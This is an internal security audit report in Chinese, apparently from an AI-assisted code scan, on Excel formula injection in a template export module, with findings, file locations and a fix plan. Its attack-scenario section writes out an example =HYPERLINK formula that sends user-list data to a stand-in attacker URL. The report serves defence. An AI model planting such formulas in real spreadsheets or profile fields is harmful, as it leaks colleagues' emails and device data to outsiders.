範圍:
app/module_frame/excel_template/整個資料夾,7 檔/1,656 行。 掃描工具:Claude Code 官方claude-securityplugin,effort low,focus 生產程式碼。 掃描基準 commit:f80b9f6824fd(工作區有其他 session 的未提交改動)。 驗證章:verified。只掃不修。 接續 B4(scan-B4.md)的呼叫端脈絡;B4 的 runner 已結束,本棒先讀完 B4 報告再接。
使用者填的文字寫進 Excel 時,只要開頭是 =,就會變成一個活的公式;從資料進系統到做成 Excel 檔,一共有六個地方可以擋,實際上一個都沒擋。 這一棒另外查出一個 B4 沒看到、而且比較容易被利用的入口:任何一個登入的使用者,只要把自己的暱稱改成一段公式,這段公式就會被塞進全公司每一份下載的範本裡——連「空白範本」也會。
好消息是修法的工具已經有人做好了:CM-2055 在修正分支上新建了一支「把儲存格標成純文字」的共用函式,這一棒要修的地方直接用它,不必再寫一份。
系統有一個功能:顧問可以把整份系統安全計畫(SSP)或合規範本下載成一個 Excel 檔,帶去跟客戶訪談,填完再上傳回來。B4 那棒查的是「誰能按下載」,這一棒查的是**「下載的那個 Excel 檔是怎麼做出來的」**——也就是把資料一格一格寫進 Excel 的那套底層程式。
這套程式有三個人在用:B4 的 SSP 匯出、B5 的範本匯出,以及帳號模組的「使用者匯入範本」。所以這裡有問題,三邊都會被波及。
本棒同時要收一條跨棒接力的線:O3b 查出「Excel 上傳進來時沒有中和公式字元」,B4 查出「匯出時沒擋、而且檔案設成打開就重算公式」,中間那段——寫進格子的那一步——就在這一棒。
現況(2026-10-01):本棒各條後來的處理結果如下(過程紀錄保留,不改)。
- B6-1(暱稱/設備名稱進下拉分頁變公式)=M11 第 21 條,✅ 已修(CM-2189,commit
895db0ef8,1.21.0 出貨)。- B6-2(已填入內容模式寫入計畫文字)=M11 第 20 條,✅ 已修(CM-2189,commit
895db0ef8,1.21.0 出貨)。- 「說明」頁範本名稱那處(讀程式補的):併 CM-2189 同一批修完,未另列條目。
| # | 這是什麼問題 | 出事會怎樣 | 要先有什麼才打得到 | 在哪裡 | 嚴重度 |
|---|---|---|---|---|---|
| B6-1 | 使用者的暱稱、設備名稱等資料,會原樣寫進範本裡的隱藏下拉清單分頁;開頭是 = 就變成公式 |
同事下載任何一份範本、打開、按下 Excel 的「啟用編輯」,那段公式就在他電腦上跑——可以把同一個檔案裡全公司使用者的 email 清單、設備 IP 送到攻擊者的網站,或偽裝成一個看起來可信的釣魚連結 | ① 任何一個登入帳號就夠(改自己的暱稱不需要任何權限);或有權限改設備/資訊系統/部門名稱的人 ② 有人下載範本並用 Excel 打開、按下啟用編輯 |
app/module_frame/excel_template/lookup_builder.py:47(build_lookup_sheet)app/module_frame/excel_template/lookup_builder.py:91-93(build_lookup_sheet_with_helpers) |
中 |
| B6-2 | 「已填入內容」模式的範本,把計畫裡存的文字(人名、元件說明、控制項敘述等)原樣寫進格子(=總表第 148 項的寫入點,本棒從另一側確認) | 同上,公式在打開檔案的人電腦上執行 | ① 能編輯該計畫內容的人(專案負責人) ② 有人下載「已填入內容」的範本並打開、啟用編輯 |
app/module_frame/excel_template/generator.py:578(_write_filled_rows)app/module_frame/excel_template/generator.py:319(_build_vertical_single_row_sheet) |
低(投票時從中調降,理由見 4.2) |
另外一處是我讀程式補的、沒經過投票:範本第一頁「說明」上的「範本名稱」也是原樣寫入(generator.py:227 組資料、:247 寫入),詳見第 5 節。
白話說明
範本裡有好幾個下拉選單,例如「選一位負責人」「選一台設備」。這些選項不是寫死的,是每次下載時從資料庫撈出來,放在幾張藏起來的分頁(_lookup_users、_lookup_devices 等)裡。放進去的內容包括:每位使用者的暱稱和 email、每台設備的名稱/IP/作業系統、每個部門名稱、每個資訊系統的名稱和說明。
這些字是原封不動寫進格子的。而產生 Excel 用的那套程式庫(openpyxl)有個規則:寫進去的字串只要以 = 開頭,它就自動把這格當成公式。再加上整個檔案被設成「打開時重算所有公式」(generator.py:137),打開檔案那一刻,這些字就不再是文字,而是會執行的指令。
為什麼這條比 B4 已知的那條更要緊
B4 那條(總表第 148 項)要攻擊者先能編輯某份計畫的內容。這一條門檻低得多:
PUT /user-profile/<自己的編號>,在 jedi-iam 套件裡),任何登入的人都能改自己的暱稱,唯一的檢查是「你改的是不是你自己」,暱稱內容完全不檢查(只驗是不是文字、長度 255 以內)。攻擊情境
一般員工把暱稱改成 =HYPERLINK("https://攻擊者網址/?d="&'_lookup_users'!B2,"點此確認")。一週後,顧問下載範本去客戶那裡訪談,打開 Excel 時這段公式就在他電腦上執行。更進一步的寫法可以把整張使用者清單(全公司 email)串起來送出去。
在哪裡
| 位置 | 是什麼 |
|---|---|
app/module_frame/excel_template/lookup_builder.py:47 |
build_lookup_sheet:單欄下拉清單,逐格原樣寫入 |
app/module_frame/excel_template/lookup_builder.py:91 |
build_lookup_sheet_with_helpers:下拉顯示文字(例如「暱稱 |
app/module_frame/excel_template/lookup_builder.py:93 |
同一支:自動帶入用的輔助欄(email、姓名、IP、作業系統、系統說明)原樣寫入 |
app/module_frame/excel_template/generator.py:137 |
把檔案設成「打開時重算所有公式」 |
app/module_frame/service/ssp_import_template_app_service.py:705-722 |
資料來源:把暱稱放進下拉資料,沒有任何處理 |
怎麼修
見第 6 節——B6-1 與 B6-2 用同一個修法,在同一套檔案裡一次改完。
首腦核對註記:三個獨立檢查員分別從「打不打得到」「出事多嚴重」「有沒有其他機制擋得住」三個角度投票,三票全部認定成立(兩票判中、一票判低,最終維持中)。我另外開了 jedi-iam 的原始碼核對:user_route.py:240 只比對「是不是本人」,serializers/user.py:53 的暱稱欄是 fields.String(),沒有內容檢查——屬實。
白話說明
下載範本時可以選「已填入內容」模式,系統會把這份計畫目前的內容先填好:參與人員姓名與地址、元件標題與說明、設備清單、參考文件檔名、每條控制項的實作敘述。這些字寫進格子的方式跟 B6-1 一樣——原樣寫入,= 開頭就變公式。
寫入的地方有兩個:多筆資料的分頁走 _write_filled_rows(generator.py:578),只有一筆資料的直式分頁(「基本資料」「受評標的」)走 _build_vertical_single_row_sheet(generator.py:319)。B4 報告只點了 578,319 是同一個病的第二個寫入點,修的時候要一起修。
為什麼投票結果是「低」,跟 B4 判的「中」不一樣
三位檢查員都認為成立,但三票都評「低」,理由是攻擊者要先有「編輯這份計畫」的權限(專案負責人),門檻比 B6-1 高。B4 那次投票評「中」。兩次投票看的是同一個寫入點,差在對前提的看法不同。建議總表第 148 項維持原本的「中」,理由有兩個:
所以 B6-2 視為第 148 項的補充確認,不另開新項次。
在哪裡
| 位置 | 是什麼 |
|---|---|
app/module_frame/excel_template/generator.py:578 |
_write_filled_rows:多筆資料分頁逐格原樣寫入(B4 已點名) |
app/module_frame/excel_template/generator.py:319 |
_build_vertical_single_row_sheet:直式分頁的值原樣寫入(B4 沒點到) |
首腦核對註記:三票全數認定成立,三票都評「低」,所以工具把嚴重度從中調降為低。
這是派工時要求本棒收口的問題。答案:六個地方可以擋,實際擋了零個。
使用者的文字要變成別人電腦上的公式,一路要經過這些關卡:
| # | 關卡 | 在哪裡 | 有沒有擋 | 說明 |
|---|---|---|---|---|
| 1 | 網頁表單送進來時(改計畫內容、改暱稱、改設備名稱等) | 例:api/oscal/serializers/ssp/ssp_party.py:13、jedi-iam serializers/user.py:53 |
❌ 沒擋 | 只檢查長度或型別,不看開頭字元 |
| 2 | 上傳 Excel 解析時 | app/oscal/service/excel_parser/sheet_handlers.py:64(_coerce_cell) |
❌ 沒擋 | 只做型別整理(數字轉文字等),= 開頭原樣收下(O3b 已查證) |
| 3 | 組裝下載資料時 | app/module_frame/service/ssp_import_template_app_service.py(B4 範圍) |
❌ 沒擋 | 從資料庫撈出來直接交給產生器 |
| 4 | 寫進下拉清單分頁時 | app/module_frame/excel_template/lookup_builder.py:47、:91-93 |
❌ 沒擋 | =B6-1 |
| 5 | 寫進資料分頁時 | app/module_frame/excel_template/generator.py:578、:319 |
❌ 沒擋 | =B6-2 |
| 6 | 寫進「說明」頁時 | app/module_frame/excel_template/generator.py:247(範本名稱,資料在 :227 組成) |
❌ 沒擋 | 我讀程式補的、沒經過投票:合規範本的名稱原樣寫進說明頁。要能改範本名稱才打得到,門檻比 B6-2 高,但修法完全一樣,順手一起修 |
另外還有一個讓情況更糟、但不是病根的設定:generator.py:137 把檔案設成「打開時重算所有公式」。這行不能直接拿掉——範本本身有一批系統刻意放的「選了負責人就自動帶出 email」的公式(generator.py:498-543),需要它才會算。病根是「資料被當成公式」,不是「公式會算」。
理由三個:
入口那一層(第 1、2 關)不建議也去擋。如果決策者想要雙保險,比較合理的做法是只在第 2 關(上傳解析)記一筆警告日誌、不改內容,這樣至少看得到有人在試。
用 CM-2055 已經做好的那支函式,不要再寫一份。
CM-2055(FR-114 第 5A-4 卡,合併了原本的 5C-7)已經在 jedi-common 新建了 jedi_common/utils/export_safety.py,裡面有兩支函式:
neutralize_formula(value):在開頭加一個單引號。不適合這裡用——這份範本會被上傳回來,單引號會被當成內容讀回去,每下載、上傳一趟就多一撇。set_text_cell(cell, value):內容一個字都不改,只把這格標記成「純文字」。這裡要用這一支。**我實際測過:用它寫入 =HYPERLINK(...) 後存檔再讀回,讀到的還是原字串、型別是文字,不是公式。CM-2055 在 OSCAL 控制項匯出(ssp_control_impl_import_service.py:139/163)也是基於同樣理由選了這支。要改的地方(都改成 set_text_cell(ws.cell(row=..., column=...), value)):
| 檔案:行 | 函式 | 改什麼 |
|---|---|---|
app/module_frame/excel_template/lookup_builder.py:47 |
build_lookup_sheet |
下拉清單的值 |
app/module_frame/excel_template/lookup_builder.py:91、:93 |
build_lookup_sheet_with_helpers |
下拉顯示文字、輔助欄 |
app/module_frame/excel_template/generator.py:578 |
_write_filled_rows |
資料分頁的值 |
app/module_frame/excel_template/generator.py:319 |
_build_vertical_single_row_sheet |
直式分頁的值 |
app/module_frame/excel_template/generator.py:247 |
_build_intro_sheet |
說明頁 B 欄(範本名稱等) |
⚠️ 開工單時務必寫明四件事:
generator.py:543 的 _apply_autofill_formulas 是刻意寫入的「自動帶入」公式,這支不能套 set_text_cell,否則自動帶入功能會壞掉。只改上表那幾行。export_safety.py 目前只在套件 monorepo 的 fix/security-b1 分支(commit 38de2886)上;主專案 pyproject.toml 仍然鎖 jedi-common==1.2.0。本卡要排在 CM-2055 那一包之後,或在同一個修正分支上做。app/auth/service/user_import_template_app_service.py:97)沒有用 lookup_builder,它自己另寫了一份下拉清單,把公司名、部門名、角色名原樣寫進去。改 lookup_builder 蓋不到它,要另外套 set_text_cell。它的門檻較高(要能改部門或角色名稱,通常是管理員)。app/oscal/service/excel_parser/sheet_handlers.py 只讀這套檔案的欄位定義(sheet_definitions.py),不用寫入函式。set_text_cell 標過的格子讀回來仍是原字串,匯入行為不變。修完的手測清單:
派工時要求對每支公開方法問三件事:有沒有做權限檢查、有沒有用上檢查的結果、是不是每個分支都有守到。
這套檔案裡沒有任何一支方法做權限或歸屬檢查,這是正常的。 我逐檔 grep 過 permission、authz、Forbidden、tenant、user_id、session:7 支檔裡唯一命中的是 sheet_definitions.py 的註解文字(說明下拉資料來自公司範圍)。這套程式只負責「把資料排成 Excel」,不碰資料庫,也不知道是誰在呼叫。卡上要求另外標記的「判斷邏輯散落在不該散落的地方」,沒有發生。
所以守門責任完全在呼叫端(B4、B5)。B4 已查出「從某份計畫下載」那一條沒檢查這份計畫是不是呼叫者的(總表第 128 項,跨客戶)。這一棒沒有新的權限發現。
至於「同一支函式,一條路有做、另一條路沒做」:這次是所有路都沒做,所以不是「守了一半」的形狀。但 B4 報告的修法建議只點了 generator.py:578 這一處,實際上有五個寫入點(第 6 節表格)。只修 578 的話,會變成第 148 項修好了、B6-1 那條門檻更低的路還開著——換句話說,修的時候自己會造出一個「守了一半」。開卡時務必把五個寫入點逐一列成驗收項。
分兩層講:
「這兩條存在嗎」——可信度高。 三個獨立檢查員對兩條發現各投一票,6 票全數投出、沒有漏投,兩條都是 3 票全部認定成立。關鍵事實我也自己開檔、實際跑過程式確認:
= 開頭的字串被標成公式;+、-、@、Tab 開頭的在 Excel 檔裡不會被當公式(它們在 CSV 才會出事),所以這份 Excel 真正的觸發字元只有 =。set_text_cell 對這幾個字元都會處理,無害。set_text_cell 寫入再讀回的結果:實際跑過,原字串、純文字型別,不會多出一撇。「只有這兩條嗎」——不保證。
| 項目 | 數值 |
|---|---|
| 掃描範圍 | 7 檔 / 1,656 行(app/module_frame/excel_template/ 全目錄) |
| 基準 commit | f80b9f6824fd(工作區 dirty,有平行 session 改動) |
| 檔位 | effort low,focus 生產程式碼 |
| 研究員 | 派 2 支,回 2 支 |
| 原始候選 | 2 條,去重後 2 條 |
| 投票 | 三個檢查員 × 2 條 = 6 票,全數投出 |
| 票型 | B6-1 3:0(兩票中、一票低,維持中);B6-2 3:0(三票都評低,從中調降為低) |
| 驗證章 | verified(CLAUDE-SECURITY-REVISION-f80b9f6824fd-dirty.json) |
| 工具 run ID | wf_82bb0393-4dc |
| 耗時 | 約 15 分鐘(8 個 agent,零失敗) |
| 工具產出原始報告 | CLAUDE-SECURITY-20260923-095130/(未入版控) |
jedi-common 發版之後。user_import_template_app_service.py:97,範圍外、未經投票)要不要併進同一張卡。